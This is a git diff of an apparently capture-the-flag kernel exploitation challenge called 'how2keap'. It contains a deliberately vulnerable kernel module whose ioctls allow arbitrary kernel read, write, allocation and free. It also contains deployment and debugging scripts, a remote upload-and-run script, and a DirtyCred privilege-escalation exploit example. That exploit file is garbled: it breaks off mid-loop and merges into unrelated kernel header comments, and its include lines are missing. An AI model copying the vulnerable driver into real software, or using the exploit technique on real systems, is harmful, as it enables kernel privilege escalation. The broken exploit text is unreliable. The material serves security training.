diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9f6ec54 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +pwn.c +rootfs.cpio +rootfs +share/rootfs.cpio.gz +share/bzImage diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..d2719ef --- /dev/null +++ b/Dockerfile @@ -0,0 +1,29 @@ +FROM debian:buster + +RUN apt-get update && apt-get install -y --no-install-recommends \ + qemu-system-x86 socat \ + && rm -rf /var/lib/apt/lists/ + +RUN useradd --create-home --shell /bin/bash keap +WORKDIR /home/keap + +COPY deploy/run.sh share/bzImage share/rootfs.cpio.gz /home/keap/ + +RUN chmod 555 /home/keap && \ + chown -R root:root /home/keap/ && \ + chmod 000 /home/keap/* && \ + chmod 555 /home/keap/run.sh && \ + chmod 444 /home/keap/bzImage && \ + chmod 444 /home/keap/rootfs.cpio.gz + +EXPOSE 1337 + +USER keap +RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)' + +USER keap + +CMD socat -T 300 \ + TCP-LISTEN:1337,nodelay,reuseaddr,fork \ + EXEC:"stdbuf -i0 -o0 -e0 /home/keap/run.sh",stderr,user=keap,group=keap + diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..be9002b --- /dev/null +++ b/Makefile @@ -0,0 +1,25 @@ +AUTHOR = "\x06\xfe\x1b\xe2" +NAME = pwn + +CC = cc +CFLAGS = -static -Os -DGNU_SOURCE +CLIBS = -pthread +CFLAGS += $(CLIBS) +debug: CFLAGS += -DDEBUG + +all: $(NAME) + +$(NAME): $(NAME).o util.o keap.o + $(CC) $(CFLAGS) $(NAME).o util.o keap.o -o ./$(NAME) + +$(NAME).o: $(NAME).c + $(CC) $(CFLAGS) -c $(NAME).c + +util.o: ./libs/util.c + $(CC) $(CFLAGS) -c libs/util.c + +keap.o: ./libs/keap.c + $(CC) $(CFLAGS) -c libs/keap.c + +clean: + rm -f *.o $(NAME) ./rootfs/$(NAME) diff --git a/README.md b/README.md new file mode 100644 index 0000000..b2c7fc3 --- /dev/null +++ b/README.md @@ -0,0 +1,44 @@ +# how2keap + +``` +#################################################### +# # +# Tired of bloated heap implementations? # +# __ # +# | | __ ____ _____ ______ # +# | |/ // __ \\__ \ \____ \ # +# | <\ ___/ / __ \| |_> > # +# use |__|_ \\___ >____ / __/ # +# \/ \/ \/|__| # +# # +#################################################### +``` + +flag is in /dev/sda + +modify ./rootfs/init to improve debugging + +## run examples +just replace pwn.c with the example you want to run (i.e. dirty\_cred.c) + +## helper scripts: + ++ scripts/decompress.sh + run this to extract the rootfs.cpio.gz into ./rootfs + ++ scripts/compress.sh + recompress ./rootfs into rootfs.cpio.gz (i.e. after changes were made) + ++ scripts/build.sh + build the exploit (pwn.c), and add it to the root of the filesystem /pwn, + if changes were made (autorun in start-qemu.sh and run-gdb.sh) + ++ scripts/start-qemu.sh + start qemu vm + ++ scripts/run-gdb.sh + run qemu and attach gdb to it (expects to be run in tmux session), + uses scripts/gdbinit + +## helpful links ++ bootlin: https://elixir.bootlin.com/linux/v6.6.22/source diff --git a/deploy/run.sh b/deploy/run.sh new file mode 100755 index 0000000..837aebb --- /dev/null +++ b/deploy/run.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +FLAG_FILE=$(mktemp) + +printenv FLAG > $FLAG_FILE + +exec qemu-system-x86_64 \ + -kernel /home/keap/bzImage \ + -cpu kvm64,+smap,+smep \ + -m 1G \ + -initrd /home/keap/rootfs.cpio.gz \ + -hda $FLAG_FILE \ + -append "rootwait root=/dev/vda console=tty1 console=ttyS0" \ + -monitor /dev/null \ + -nographic \ + -no-reboot diff --git a/dirty_cred.c b/dirty_cred.c new file mode 100644 index 0000000..0368447 --- /dev/null +++ b/dirty_cred.c @@ -0,0 +1,122 @@ +#include +#include "libs/pwn.h" + +#define FS_CONTEXT_SIZE 256 +#define NUM_SPRAY_FDS 0x300 + +/* + * inspired by https://chovid99.github.io/posts/hitcon-ctf-2023/ + */ + +int main(void) +{ + + int tmp_a; + int freed_fd = -1; + void* keap_ptr; + char buf[FS_CONTEXT_SIZE]; + bzero(buf, sizeof(buf)); + + puts("[+] Initial setup"); + + rlimit_increase(RLIMIT_NOFILE); + + // Pin CPU + pin_cpu(0, 0); + + init(); + + // create target file + tmp_a = SYSCHK(open("/tmp/a", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)); + SYSCHK(close(tmp_a)); + + puts("[+] create and free heap allocation for double free later"); + keap_ptr = keap_malloc(FS_CONTEXT_SIZE, GFP_KERNEL_ACCOUNT); + + keap_free(keap_ptr); + // spray + + /******************************* + * DIRTY CRED * + *******************************/ + + puts("======================="); + puts("[+] Start the main exploit"); + + puts("[+] Spray FDs"); + int spray_fds[NUM_SPRAY_FDS]; + for(int i =0;i %PAGE_ALLOC_COSTLY_ORDER). + * !costly allocations are too essential to fail so they are implicitly + * non-failing by default (with some exceptions like OOM victims might fail so + * the caller still has to check for failures) while costly requests try to be + * not disruptive and back off even without invoking the OOM killer. + * The following three modifiers might be used to override some of these + * implicit rules + * + * %__GFP_NORETRY: The VM implementation will try only very lightweight + * memory direct reclaim to get some memory under memory pressure (thus + * it can sleep). It will avoid disruptive actions like OOM killer. The + * caller must handle the failure which is quite likely to happen under + * heavy memory pressure. The flag is suitable when failure can easily be + * handled at small cost, such as reduced throughput + * + * %__GFP_RETRY_MAYFAIL: The VM implementation will retry memory reclaim + * procedures that have previously failed if there is some indication + * that progress has been made else where. It can wait for other + * tasks to attempt high level approaches to freeing memory such as + * compaction (which removes fragmentation) and page-out. + * There is still a definite limit to the number of retries, but it is + * a larger limit than with %__GFP_NORETRY. + * Allocations with this flag may fail, but only when there is + * genuinely little unused memory. While these allocations do not + * directly trigger the OOM killer, their failure indicates that + * the system is likely to need to use the OOM killer soon. The + * caller must handle failure, but can reasonably do so by failing + * a higher-level request, or completing it only in a much less + * efficient manner. + * If the allocation does fail, and the caller is in a position to + * free some non-essential memory, doing so could benefit the system + * as a whole. + * + * %__GFP_NOFAIL: The VM implementation _must_ retry infinitely: the caller + * cannot handle allocation failures. The allocation could block + * indefinitely but will never return with failure. Testing for + * failure is pointless. + * New users should be evaluated carefully (and the flag should be + * used only when there is no reasonable failure policy) but it is + * definitely preferable to use the flag rather than opencode endless + * loop around allocator. + * Using this flag for costly allocations is _highly_ discouraged. + */ +#define __GFP_IO (___GFP_IO) +#define __GFP_FS (___GFP_FS) +#define __GFP_DIRECT_RECLAIM (___GFP_DIRECT_RECLAIM) /* Caller can reclaim */ +#define __GFP_KSWAPD_RECLAIM (___GFP_KSWAPD_RECLAIM) /* kswapd can wake */ +#define __GFP_RECLAIM ((___GFP_DIRECT_RECLAIM|___GFP_KSWAPD_RECLAIM)) +#define __GFP_RETRY_MAYFAIL (___GFP_RETRY_MAYFAIL) +#define __GFP_NOFAIL (___GFP_NOFAIL) +#define __GFP_NORETRY (___GFP_NORETRY) + +/** + * DOC: Action modifiers + * + * Action modifiers + * ---------------- + * + * %__GFP_NOWARN suppresses allocation failure reports. + * + * %__GFP_COMP address compound page metadata. + * + * %__GFP_ZERO returns a zeroed page on success. + * + * %__GFP_ZEROTAGS zeroes memory tags at allocation time if the memory itself + * is being zeroed (either via __GFP_ZERO or via init_on_alloc, provided that + * __GFP_SKIP_ZERO is not set). This flag is intended for optimization: setting + * memory tags at the same time as zeroing memory has minimal additional + * performace impact. + * + * %__GFP_SKIP_KASAN makes KASAN skip unpoisoning on page allocation. + * Used for userspace and vmalloc pages; the latter are unpoisoned by + * kasan_unpoison_vmalloc instead. For userspace pages, results in + * poisoning being skipped as well, see should_skip_kasan_poison for + * details. Only effective in HW_TAGS mode. + */ +#define __GFP_NOWARN (___GFP_NOWARN) +#define __GFP_COMP (___GFP_COMP) +#define __GFP_ZERO (___GFP_ZERO) +#define __GFP_ZEROTAGS (___GFP_ZEROTAGS) +#define __GFP_SKIP_ZERO (___GFP_SKIP_ZERO) +#define __GFP_SKIP_KASAN (___GFP_SKIP_KASAN) + +/* Disable lockdep for GFP context tracking */ +#define __GFP_NOLOCKDEP (___GFP_NOLOCKDEP) + +/* Room for N __GFP_FOO bits */ +#define __GFP_BITS_SHIFT (26 + IS_ENABLED(CONFIG_LOCKDEP)) +#define __GFP_BITS_MASK (((1 << __GFP_BITS_SHIFT) - 1)) + +/** + * DOC: Useful GFP flag combinations + * + * Useful GFP flag combinations + * ---------------------------- + * + * Useful GFP flag combinations that are commonly used. It is recommended + * that subsystems start with one of these combinations and then set/clear + * %__GFP_FOO flags as necessary. + * + * %GFP_ATOMIC users can not sleep and need the allocation to succeed. A lower + * watermark is applied to allow access to "atomic reserves". + * The current implementation doesn't support NMI and few other strict + * non-preemptive contexts (e.g. raw_spin_lock). The same applies to %GFP_NOWAIT. + * + * %GFP_KERNEL is typical for kernel-internal allocations. The caller requires + * %ZONE_NORMAL or a lower zone for direct access but can direct reclaim. + * + * %GFP_KERNEL_ACCOUNT is the same as GFP_KERNEL, except the allocation is + * accounted to kmemcg. + * + * %GFP_NOWAIT is for kernel allocations that should not stall for direct + * reclaim, start physical IO or use any filesystem callback. + * + * %GFP_NOIO will use direct reclaim to discard clean pages or slab pages + * that do not require the starting of any physical IO. + * Please try to avoid using this flag directly and instead use + * memalloc_noio_{save,restore} to mark the whole scope which cannot + * perform any IO with a short explanation why. All allocation requests + * will inherit GFP_NOIO implicitly. + * + * %GFP_NOFS will use direct reclaim but will not use any filesystem interfaces. + * Please try to avoid using this flag directly and instead use + * memalloc_nofs_{save,restore} to mark the whole scope which cannot/shouldn't + * recurse into the FS layer with a short explanation why. All allocation + * requests will inherit GFP_NOFS implicitly. + * + * %GFP_USER is for userspace allocations that also need to be directly + * accessibly by the kernel or hardware. It is typically used by hardware + * for buffers that are mapped to userspace (e.g. graphics) that hardware + * still must DMA to. cpuset limits are enforced for these allocations. + * + * %GFP_DMA exists for historical reasons and should be avoided where possible. + * The flags indicates that the caller requires that the lowest zone be + * used (%ZONE_DMA or 16M on x86-64). Ideally, this would be removed but + * it would require careful auditing as some users really require it and + * others use the flag to avoid lowmem reserves in %ZONE_DMA and treat the + * lowest zone as a type of emergency reserve. + * + * %GFP_DMA32 is similar to %GFP_DMA except that the caller requires a 32-bit + * address. Note that kmalloc(..., GFP_DMA32) does not return DMA32 memory + * because the DMA32 kmalloc cache array is not implemented. + * (Reason: there is no such user in kernel). + * + * %GFP_HIGHUSER is for userspace allocations that may be mapped to userspace, + * do not need to be directly accessible by the kernel but that cannot + * move once in use. An example may be a hardware allocation that maps + * data directly into userspace but has no addressing limitations. + * + * %GFP_HIGHUSER_MOVABLE is for userspace allocations that the kernel does not + * need direct access to but can use kmap() when access is required. They + * are expected to be movable via page reclaim or page migration. Typically, + * pages on the LRU would also be allocated with %GFP_HIGHUSER_MOVABLE. + * + * %GFP_TRANSHUGE and %GFP_TRANSHUGE_LIGHT are used for THP allocations. They + * are compound allocations that will generally fail quickly if memory is not + * available and will not wake kswapd/kcompactd on failure. The _LIGHT + * version does not attempt reclaim/compaction at all and is by default used + * in page fault path, while the non-light is used by khugepaged. + */ +#define GFP_ATOMIC (__GFP_HIGH|__GFP_KSWAPD_RECLAIM) +#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS) +#define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT) +#define GFP_NOWAIT (__GFP_KSWAPD_RECLAIM) +#define GFP_NOIO (__GFP_RECLAIM) +#define GFP_NOFS (__GFP_RECLAIM | __GFP_IO) +#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL) +#define GFP_DMA __GFP_DMA +#define GFP_DMA32 __GFP_DMA32 +#define GFP_HIGHUSER (GFP_USER | __GFP_HIGHMEM) +#define GFP_HIGHUSER_MOVABLE (GFP_HIGHUSER | __GFP_MOVABLE | __GFP_SKIP_KASAN) +#define GFP_TRANSHUGE_LIGHT ((GFP_HIGHUSER_MOVABLE | __GFP_COMP | \ + __GFP_NOMEMALLOC | __GFP_NOWARN) & ~__GFP_RECLAIM) +#define GFP_TRANSHUGE (GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM) + +#endif /* __LINUX_GFP_TYPES_H */ + diff --git a/libs/keap.c b/libs/keap.c new file mode 100644 index 0000000..837160f --- /dev/null +++ b/libs/keap.c @@ -0,0 +1,42 @@ +#include "keap.h" + +int keap_fd = -1; + +void init() { + keap_fd = SYSCHK(open("/dev/keap", O_RDWR)); +} + + +void* keap_malloc(size_t size, int flags) { + struct keap_malloc_param param = { + .flags = flags, + .size = size, + .heap_ptr = NULL + }; + SYSCHK(ioctl(keap_fd, KEAP_IOCTL_MALLOC, ¶m)); + + return param.heap_ptr; +} + +long keap_read(void *buf, void *ptr, size_t size) { + struct keap_transfer transfer = { + .heap_ptr = ptr, + .buf = buf, + .size = size + }; + return SYSCHK(ioctl(keap_fd, KEAP_IOCTL_READ, &transfer)); +} + +long keap_write(void* ptr, void *buf, size_t size) { + struct keap_transfer transfer = { + .heap_ptr = ptr, + .buf = buf, + .size = size + }; + return SYSCHK(ioctl(keap_fd, KEAP_IOCTL_WRITE, &transfer)); +} + +void keap_free(void *ptr) { + ioctl(keap_fd, KEAP_IOCTL_FREE, ptr); +} + diff --git a/libs/keap.h b/libs/keap.h new file mode 100644 index 0000000..0a358e6 --- /dev/null +++ b/libs/keap.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include "util.h" + +#ifndef KEAP_H +#define KEAP_H + +#define KEAP_IOCTL_MALLOC _IOW('K', 0, struct keap_malloc_param *) +#define KEAP_IOCTL_READ _IOW('K', 1, struct keap_transfer *) +#define KEAP_IOCTL_WRITE _IOW('K', 2, struct keap_transfer *) +#define KEAP_IOCTL_FREE _IOW('K', 3, void *) + +struct keap_malloc_param { + unsigned int flags; + size_t size; + void* heap_ptr; +}; + +struct keap_transfer { + void* heap_ptr; + void* buf; + size_t size; +}; + + +extern int keap_fd; +void init(); +void* keap_malloc(size_t size, int flags); +long keap_read(void *buf, void *ptr, size_t size); +long keap_write(void* ptr, void *buf, size_t size); +void keap_free(void *ptr); + +#endif diff --git a/libs/pwn.h b/libs/pwn.h new file mode 100644 index 0000000..6d22cbf --- /dev/null +++ b/libs/pwn.h @@ -0,0 +1,10 @@ +#include "gfp_types.h" +#include "keap.h" +#include "util.h" + +#ifndef PWN_H +#define PWN_H + + +#endif + diff --git a/libs/util.c b/libs/util.c new file mode 100644 index 0000000..9babdbb --- /dev/null +++ b/libs/util.c @@ -0,0 +1,71 @@ +#include "util.h" + +void pin_cpu(pid_t pid, int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + SYSCHK(sched_setaffinity(pid, sizeof(cpuset), &cpuset)); +} + +int rlimit_increase(int rlimit) +{ + struct rlimit r; + if (getrlimit(rlimit, &r)) { + puts("rlimit_increase:getrlimit"); + exit(EXIT_FAILURE); + } + + if (r.rlim_max <= r.rlim_cur) + { + printf("[+] rlimit %d remains at %.lld", rlimit, r.rlim_cur); + return 0; + } + r.rlim_cur = r.rlim_max; + int res; + if (res = setrlimit(rlimit, &r)) { + puts("rlimit_increase:setrlimit"); + exit(EXIT_FAILURE); + } + else + printf("[+] rlimit %d increased to %lld\n", rlimit, r.rlim_max); + return res; +} + +int ipow(int base, unsigned int power){ + int out = 1; + for (int i = 0; i < power; ++i) { + out *= base; + } + return out; +} + +char* cyclic(int length) { + char charset[] = "abcdefghijklmnopqrstuvwxyz"; + int size = length; + char* pattern = malloc(size+1); + + for (int i = 0; length > 0; ++i) { + pattern[size - length] = charset[i % strlen(charset)]; + if (--length == 0) break; + pattern[size - length] = charset[(i / strlen(charset)) % strlen(charset)]; + if (--length == 0) break; + pattern[size - length] = charset[(i / ipow(strlen(charset), 2)) % strlen(charset)]; + if (--length == 0) break; + pattern[size - length] = charset[(i / ipow(strlen(charset), 3)) % strlen(charset)]; + --length; + } + pattern[size] = 0; + + return pattern; +} + +void print_hex(char* buf, int len){ + for (int i = 0; i < len; ++i) { + if (i % 8 == 0) puts(""); + printf("%02hhx", buf[i]); + } + puts(""); +} + + diff --git a/libs/util.h b/libs/util.h new file mode 100644 index 0000000..d6ee89f --- /dev/null +++ b/libs/util.h @@ -0,0 +1,35 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef UTIL_H +#define UTIL_H + +/* Assert that x is true. */ +#define CHK(x) do { if (!(x)) { \ + fprintf(stderr, "%s\n", "CHK(" #x ")"); \ + exit(1); } } while (0) + +/* Assert that a syscall x has succeeded. */ +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ +}) + +void pin_cpu(pid_t pid, int cpu); +int rlimit_increase(int rlimit); +int ipow(int base, unsigned int power); +char* cyclic(int length); +void print_hex(char* buf, int len); + +#endif diff --git a/pwn.c b/pwn.c new file mode 100644 index 0000000..9682c39 --- /dev/null +++ b/pwn.c @@ -0,0 +1,25 @@ +#include "libs/pwn.h" + + +/******************************* + * EXPLOIT * + *******************************/ + + +int main(int argc, char* argv[]) { + char* msg = "Hello World"; + char buf[strlen(msg)+1]; + bzero(buf, sizeof(buf)); + + init(); + + void* ptr = keap_malloc(strlen(msg), GFP_KERNEL_ACCOUNT); + printf("ptr: %p\n", ptr); + keap_write(ptr, msg, strlen(msg)); + keap_read(buf, ptr, strlen(msg)); + keap_free(ptr); + + puts(buf); + + return 0; +} diff --git a/run_remote.py b/run_remote.py new file mode 100755 index 0000000..eb59b85 --- /dev/null +++ b/run_remote.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +from pwn import * + +linfo = lambda x: log.info(x) +lwarn = lambda x: log.warn(x) +lerror = lambda x: log.error(x) +lprog = lambda x: log.progress(x) + +byt = lambda x: x if isinstance(x, bytes) else x.encode() if isinstance(x, str) else repr(x).encode() +phex = lambda x, y='': print(y + hex(x)) +lhex = lambda x, y='': linfo(y + hex(x)) +pad = lambda x, s=8, v=b'\0', o='r': byt(x).ljust(s, byt(v)) if o == 'r' else byt(x).rjust(s, byt(v)) +padhex = lambda x, s=None: pad(hex(x)[2:],((x.bit_length()//8)+1)*2 if s is None else s, b'0', 'l') +upad = lambda x: u64(pad(x)) +tob = lambda x: bytes.fromhex(padhex(x).decode()) + +gelf = lambda elf=None: elf if elf else exe +srh = lambda x, elf=None: gelf(elf).search(byt(x)).__next__() +sasm = lambda x, elf=None: gelf(elf).search(asm(x), executable=True).__next__() +lsrh = lambda x: srh(x, libc) +lasm = lambda x: sasm(x, libc) + +cyc = lambda x: cyclic(x) +cfd = lambda x: cyclic_find(x) +cto = lambda x: cyc(cfd(x)) + +t = None +gt = lambda at=None: at if at else t +sl = lambda x, t=None: gt(t).sendline(byt(x)) +se = lambda x, t=None: gt(t).send(byt(x)) +sla = lambda x, y, t=None: gt(t).sendlineafter(byt(x), byt(y)) +sa = lambda x, y, t=None: gt(t).sendafter(byt(x), byt(y)) +ra = lambda t=None: gt(t).recvall() +rl = lambda t=None: gt(t).recvline() +rls = lambda t=None: rl(t)[:-1] +re = lambda x, t=None: gt(t).recv(x) +ru = lambda x, t=None: gt(t).recvuntil(byt(x)) +it = lambda t=None: gt(t).interactive() +cl = lambda t=None: gt(t).close() + + +IP = 'localhost' +PORT = 28338 +BINARY='/tmp/pwn' + +def send_cmd(cmd, prefix='~ $'): + ru(prefix) + sl(cmd) + ru(cmd) + +def checkpoint(): + key=randoms(0x10) + send_cmd(f'echo {key}'.encode()) + ru(key.encode()) + +context.newline = b'\r\n' + +linfo('compile pwn binary') +os.system(f'gcc -static -Os ./pwn.c -o {BINARY}') +os.system(f'xz {BINARY}') + +linfo('read pwn file') +pwn = b'' +with open(f'{BINARY}.xz', 'rb') as pwn_file: + pwn = b64e(pwn_file.read()) + +os.remove(f'{BINARY}.xz') + +t = remote(IP, PORT) + +linfo('wait for init') +ru(b'# Tired of bloated heap implementations? #') +checkpoint() + +linfo('deploy pwn binary') +send_cmd(b'base64 -d << EOF | unxz > /tmp/pwn') + +p = log.progress('sending file') +STEPS=64 +for i in range(0, len(pwn), STEPS): + p.status(f'sending file {i//STEPS}/{len(pwn)//STEPS}') + line = pwn[i:min(i+STEPS, len(pwn))] + send_cmd(line.encode(), '> ') + +sl(b'EOF') +p.success('send file') + +sl(b'chmod +x /tmp/pwn') + +checkpoint() + +linfo('execute pwn binary') +sl(b'/tmp/pwn') +rl() + +t.interactive() diff --git a/scripts/.gdb_history b/scripts/.gdb_history new file mode 100644 index 0000000..4e142f2 --- /dev/null +++ b/scripts/.gdb_history @@ -0,0 +1,4 @@ +c +c +c +c diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100755 index 0000000..912a6bf --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,31 @@ +#!/bin/sh + +SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +cd $SCRIPTPATH + +if [ ! -d ../rootfs ]; then + ./decompress.sh +fi + +MD5=$(md5sum ../rootfs/pwn) + +cd .. +# gcc -static -pthread -no-pie -Os ../pwn.c -o ../rootfs/pwn +make clean +make +mv pwn rootfs/pwn +RESULT=$? +if [ $RESULT -ne 0 ]; then + echo compile failed + exit 1 +fi + +if [ $? -ne 0 ]; then + exit # gcc failed +fi + +cd $SCRIPTPATH +if [ "$MD5" != "$(md5sum ../rootfs/pwn)" ]; then + ./compress.sh +fi + diff --git a/scripts/compress.sh b/scripts/compress.sh new file mode 100755 index 0000000..59dec42 --- /dev/null +++ b/scripts/compress.sh @@ -0,0 +1,10 @@ +#!/bin/sh + +SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +cd $SCRIPTPATH + +cd ../rootfs +find . -print0 \ +| fakeroot cpio --null -ov --format=newc \ +| gzip -9 > ../rootfs.cpio.gz +exit diff --git a/scripts/decompress.sh b/scripts/decompress.sh new file mode 100755 index 0000000..de28321 --- /dev/null +++ b/scripts/decompress.sh @@ -0,0 +1,11 @@ +#!/bin/sh + +SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +cd $SCRIPTPATH + +mkdir -p ../rootfs +cd ../rootfs +cp ../share/rootfs.cpio.gz . +gunzip ./rootfs.cpio.gz +fakeroot cpio -idm < ./rootfs.cpio +rm rootfs.cpio diff --git a/scripts/gdbinit b/scripts/gdbinit new file mode 100644 index 0000000..fbc9325 --- /dev/null +++ b/scripts/gdbinit @@ -0,0 +1,4 @@ +target remote localhost:1234 +# keap_ioctl +b * 0xffffffffc0000090 +c diff --git a/scripts/run-gdb.sh b/scripts/run-gdb.sh new file mode 100755 index 0000000..a86c601 --- /dev/null +++ b/scripts/run-gdb.sh @@ -0,0 +1,22 @@ +#!/bin/sh + +SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +cd $SCRIPTPATH + +if ./build.sh; then + + tmux split -v "gdb ../share/bzImage -x gdbinit" + + exec qemu-system-x86_64 \ + -s \ + -kernel ../share/bzImage \ + -cpu qemu64,+smap,+smep \ + -m 1G \ + -initrd ../rootfs.cpio.gz \ + -hda ../share/flag.txt \ + -append "rootwait root=/dev/vda console=tty1 console=ttyS0 nokaslr" \ + -monitor /dev/null \ + -nographic \ + -no-reboot + +fi diff --git a/scripts/start-qemu.sh b/scripts/start-qemu.sh new file mode 100755 index 0000000..497ecb8 --- /dev/null +++ b/scripts/start-qemu.sh @@ -0,0 +1,17 @@ +#!/bin/sh + +SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +cd $SCRIPTPATH + +if ./build.sh; then + exec qemu-system-x86_64 \ + -kernel ../share/bzImage \ + -cpu qemu64,+smap,+smep \ + -m 1G \ + -initrd ../rootfs.cpio.gz \ + -hda ../share/flag.txt \ + -append "rootwait root=/dev/vda console=tty1 console=ttyS0" \ + -monitor /dev/null \ + -nographic \ + -no-reboot +fi diff --git a/share/flag.txt b/share/flag.txt new file mode 100644 index 0000000..9bd581b --- /dev/null +++ b/share/flag.txt @@ -0,0 +1 @@ +keap{REDACTED} diff --git a/src/Makefile b/src/Makefile new file mode 100644 index 0000000..8fc6c47 --- /dev/null +++ b/src/Makefile @@ -0,0 +1,10 @@ +obj-m := keap.o +subdir-ccflags-y := -I$(src)/include +subdir-ccflags-y += -Wall -g + +PWD := $(shell pwd) + +modules: + $(MAKE) -C '$(LINUX_DIR)' M='$(PWD)' modules +clean: + $(MAKE) -C '$(LINUX_DIR)' M='$(PWD)' clean diff --git a/src/keap.c b/src/keap.c new file mode 100644 index 0000000..6f1024e --- /dev/null +++ b/src/keap.c @@ -0,0 +1,74 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "keap.h" + +static long keap_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { + struct keap_transfer transfer; + struct keap_malloc_param param; + + switch (cmd) { + case KEAP_IOCTL_MALLOC: + if (copy_from_user(¶m, (void __user *)arg, sizeof(param))) + return -EFAULT; + printk("keap: allocate 0x%lx with flags 0x%x\n", param.size, param.flags); + param.heap_ptr = kmalloc(param.size, param.flags); + return copy_to_user((void __user *)arg, ¶m, sizeof(param)); + + case KEAP_IOCTL_READ: + if (copy_from_user(&transfer, (void __user *)arg, sizeof(transfer))) + return -EFAULT; + printk("keap: copy %p to %p (user) (size: 0x%lx)\n", transfer.heap_ptr, transfer.buf, transfer.size); + return copy_to_user((void __user *)transfer.buf, transfer.heap_ptr, transfer.size); + + case KEAP_IOCTL_WRITE: + if (copy_from_user(&transfer, (void __user *)arg, sizeof(transfer))) + return -EFAULT; + printk("keap: copy %p (user) to %p (size: 0x%lx)\n", transfer.buf, transfer.heap_ptr, transfer.size); + return copy_from_user(transfer.heap_ptr, (void __user *)transfer.buf, transfer.size); + + case KEAP_IOCTL_FREE: + printk("keap: free %p\n", (void*)arg); + kfree((void*) arg); + return 0; + } + + return -EINVAL; + +} + +static struct file_operations keap_fops = { + .owner = THIS_MODULE, + .unlocked_ioctl = keap_ioctl, +}; + +static struct miscdevice keap_device = { + .minor = MISC_DYNAMIC_MINOR, + .name = "keap", + .fops = &keap_fops, +}; + +static int keap_init(void) +{ + pr_info("keap: initialize\n"); + return misc_register(&keap_device); +} + +static void keap_exit(void) +{ + pr_info("keap: exit\n"); + misc_deregister(&keap_device); +} + +module_init(keap_init); +module_exit(keap_exit); + +MODULE_AUTHOR("\x06\xfe\x1b\xe2"); +MODULE_DESCRIPTION("keap a debloated heap allocation interface"); +MODULE_LICENSE("GPL"); diff --git a/src/keap.h b/src/keap.h new file mode 100644 index 0000000..9fdceba --- /dev/null +++ b/src/keap.h @@ -0,0 +1,30 @@ +#ifndef _KEAP_H +#define _KEAP_H + +#define DEVICE_NAME "keap" +#define CLASS_NAME DEVICE_NAME + +struct keap_malloc_param { + unsigned int flags; + size_t size; + void* heap_ptr; +}; + +struct keap_transfer { + void* heap_ptr; + void* buf; + size_t size; +}; + +struct chrdev_info { + unsigned int major; + struct cdev cdev; + struct class *class; +}; + +#define KEAP_IOCTL_MALLOC _IOW('K', 0, struct keap_malloc_param *) +#define KEAP_IOCTL_READ _IOW('K', 1, struct keap_transfer *) +#define KEAP_IOCTL_WRITE _IOW('K', 2, struct keap_transfer *) +#define KEAP_IOCTL_FREE _IOW('K', 3, void *) + +#endif